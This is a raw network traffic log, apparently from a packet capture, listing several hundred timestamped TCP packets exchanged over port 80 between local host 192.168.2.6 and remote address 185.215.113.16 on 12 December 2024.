Dec 12, 2024 21:50:36.185125113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.185317993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.186214924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.186258078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.186422110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.187386990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.187541962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.188491106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.188673973 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.189647913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.189711094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.190727949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.190805912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.191853046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.192118883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.193008900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.193064928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.194050074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.194176912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.195225000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.195321083 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.196285963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.196422100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.197422981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.197511911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.198589087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.198694944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.199646950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.199727058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.200797081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.200979948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.201869011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.201953888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.203027964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.203094959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.204104900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.204263926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.204554081 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.204710960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.204710960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.204710960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.205229998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.205300093 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.205404997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.205687046 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.206320047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.206413984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.207515001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.207707882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.208530903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.208656073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.209661961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.209773064 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.215025902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.215025902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.344156027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.344228983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.344415903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.344557047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.345561981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.345660925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.345824003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.346661091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.346785069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.347848892 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.347910881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.348958969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.349112034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.350101948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.350172043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.351144075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.351237059 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.352374077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.352519989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.353447914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.353447914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.353487968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.353631020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.353646994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.353703976 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.354510069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.354584932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.355043888 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.355573893 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.355669975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.356724977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.356885910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.357913971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.358011961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.359016895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.359102964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.360093117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.360232115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.361144066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.361294985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.362262964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.362473965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.363437891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.363545895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.364506006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.364630938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.365700006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.365808010 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.366087914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.366839886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.367011070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.367902994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.368041039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.368976116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.369182110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.370167971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.370296001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.371303082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.371412039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.372329950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.372482061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.373461962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.373569965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.374551058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.374782085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.375730038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.375854015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.376935005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.377084970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.378362894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.378515959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.379591942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.379760981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.380866051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.381011009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.382026911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.382145882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.383377075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.383534908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.384546995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.384738922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.385900021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.386060953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.386336088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.387295008 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.387389898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.388576031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.388684988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.389748096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.389853001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.390944958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.391005039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.391961098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.392050982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.393141985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.393201113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.394392014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.394490957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.395447016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.395500898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.396455050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.396548033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.397736073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.397861004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.398825884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.398952007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.399990082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.400022984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.401170969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.401268959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.402307987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.402491093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.403403044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.403512001 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.404443026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.406405926 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407373905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407406092 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407439947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407577991 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407670975 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407704115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407766104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.407766104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.536345959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.536429882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.536483049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.536564112 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.536835909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.536884069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.536892891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.536943913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.537707090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.537800074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.538420916 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.538805962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.538855076 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.538896084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.539124012 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.539908886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.540004015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.541034937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.541129112 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.542157888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.542243958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.543266058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.543400049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.544406891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.544480085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.545531988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.545592070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.546612024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.546734095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.547466040 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.547697067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.547836065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.548168898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.548211098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.548834085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.548930883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.549165964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.549942017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.549992085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.550026894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.550077915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.551117897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.551167011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.551204920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.551249027 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.552211046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.552262068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.552297115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.552339077 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.553373098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.553416014 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.553456068 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.553505898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.554387093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.554435015 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.554514885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.554559946 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.555514097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.555561066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.555628061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.555684090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.556624889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.556687117 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.556725979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.556773901 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.557734966 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.557795048 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.557833910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.557881117 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.558855057 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.558907986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.558948040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.558995008 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.559984922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.560033083 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.560165882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.560214996 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.561139107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.561192036 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.561206102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.561261892 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.562207937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.562298059 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.562311888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.562366009 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.563325882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.563388109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.563419104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.563483000 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.564486980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.564548016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.564580917 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.564637899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.565556049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.565643072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.565651894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.565746069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.566705942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.566812992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.566919088 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.566998005 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.567847967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.567938089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.568962097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.569017887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.570221901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.570270061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.571119070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.571222067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.571475029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.571851969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.571943045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.572225094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.572348118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.572381973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.572474003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.573357105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.573510885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.574503899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.574697018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.575603962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.575686932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.576714993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.576802015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.577805042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.577939034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.578924894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.579082012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.580059052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.580132008 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.581177950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.581279993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.582326889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.582412958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.583400011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.583484888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.584498882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.584594011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.585438013 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.585469961 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.585490942 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.585617065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.585719109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.585750103 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.585922003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.586736917 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.586802959 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.586843014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.586889029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.587879896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.588054895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.588223934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.589019060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.589118004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.590075016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.590143919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.591171980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.591267109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.592308044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.592379093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.593408108 CET	80	49942	185.215.113.16	192.168.2.6
